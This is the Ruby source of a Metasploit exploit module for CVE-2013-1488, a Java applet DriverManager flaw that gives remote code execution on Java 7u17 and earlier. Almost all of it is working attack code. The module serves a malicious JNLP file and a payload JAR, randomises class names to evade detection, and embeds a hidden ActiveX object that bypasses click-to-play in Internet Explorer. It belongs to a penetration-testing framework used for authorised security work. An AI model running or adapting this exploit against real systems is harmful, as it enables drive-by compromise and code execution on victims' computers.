Path: blob/master/modules/exploits/multi/browser/java_jre17_driver_manager.rb
19511 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011# include Msf::Exploit::Remote::BrowserAutopwn12# autopwn_info({ :javascript => false })1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Java Applet Driver Manager Privileged toString() Remote Code Execution',19'Description' => %q{20This module abuses the java.sql.DriverManager class where the toString() method21is called over user supplied classes from a doPrivileged block. The vulnerability22affects Java version 7u17 and earlier. This exploit bypasses click-to-play on Internet Explorer23and throws a specially crafted JNLP file. This bypass is applicable mainly to IE, where Java24Web Start can be launched automatically through the ActiveX control. Otherwise, the25applet is launched without click-to-play bypass.26},27'License' => MSF_LICENSE,28'Author' => [29'James Forshaw', # Vulnerability discovery and Analysis30'juan vazquez' # Metasploit module31],32'References' => [33[ 'CVE', '2013-1488' ],34[ 'OSVDB', '91472' ],35[ 'BID', '58504' ],36[ 'URL', 'http://www.contextis.com/research/blog/java-pwn2own/' ],37[ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ],38[ 'ZDI', '13-076' ]39],40'Platform' => %w{java linux osx win},41'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },42'Targets' => [43[44'Generic (Java Payload)',45{46'Platform' => ['java'],47'Arch' => ARCH_JAVA,48}49],50[51'Windows x86 (Native Payload)',52{53'Platform' => 'win',54'Arch' => ARCH_X86,55}56],57[58'Mac OS X x86 (Native Payload)',59{60'Platform' => 'osx',61'Arch' => ARCH_X86,62}63],64[65'Linux x86 (Native Payload)',66{67'Platform' => 'linux',68'Arch' => ARCH_X86,69}70],71],72'DefaultTarget' => 0,73'DisclosureDate' => '2013-01-10',74'Notes' => {75'Reliability' => UNKNOWN_RELIABILITY,76'Stability' => UNKNOWN_STABILITY,77'SideEffects' => UNKNOWN_SIDE_EFFECTS78}79)80)81end8283def setup84path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "Exploit.class")85@exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }86path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "FakeDriver.class")87@driver_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }88path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "FakeDriver2.class")89@driver2_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }90path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "META-INF", "services", "java.lang.Object")91@object_services = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }92path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "META-INF", "services", "java.sql.Driver")93@driver_services = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }9495@exploit_class_name = rand_text_alpha("Exploit".length)96@exploit_class.gsub!("Exploit", @exploit_class_name)9798@jnlp_name = rand_text_alpha(8)99100super101end102103def jnlp_file104jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"105106jnlp = %Q|107<?xml version="1.0" encoding="utf-8"?>108<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="#{jnlp_uri}">109<information>110<title>Applet Test JNLP</title>111<vendor>#{rand_text_alpha(8)}</vendor>112<description>#{rand_text_alpha(8)}</description>113<offline-allowed/>114</information>115116<resources>117<j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se" />118<jar href="#{rand_text_alpha(8)}.jar" main="true" />119</resources>120<applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1">121<param name="__applet_ssv_validated" value="true"></param>122</applet-desc>123<update check="background"/>124</jnlp>125|126return jnlp127end128129def on_request_uri(cli, request)130print_status("handling request for #{request.uri}")131132case request.uri133when /\.jnlp$/i134send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" })135when /\.jar$/i136jar = payload.encoded_jar137jar.add_file("#{@exploit_class_name}.class", @exploit_class)138jar.add_file("FakeDriver.class", @driver_class)139jar.add_file("FakeDriver2.class", @driver2_class)140jar.add_file("META-INF/services/java.lang.Object", @object_services)141jar.add_file("META-INF/services/java.sql.Driver", @driver_services)142metasploit_str = rand_text_alpha("metasploit".length)143payload_str = rand_text_alpha("payload".length)144jar.entries.each { |entry|145entry.name.gsub!("metasploit", metasploit_str)146entry.name.gsub!("Payload", payload_str)147entry.data = entry.data.gsub("metasploit", metasploit_str)148entry.data = entry.data.gsub("Payload", payload_str)149}150jar.build_manifest151152send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })153when /\/$/154payload = regenerate_payload(cli)155if not payload156print_error("Failed to generate the payload.")157send_not_found(cli)158return159end160send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })161else162send_redirect(cli, get_resource() + '/', '')163end164end165166def generate_html167jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"168169# When the browser is IE, the ActvX is used in order to load the malicious JNLP, allowing click2play bypass170# Else an <applet> tag is used to load the malicious applet, this time there isn't click2play bypass171html = %Q|172<html>173<body>174<object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0>175<param name="app" value="#{jnlp_uri}">176<param name="back" value="true">177<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>178</object>179</body>180</html>181|182return html183end184end185186187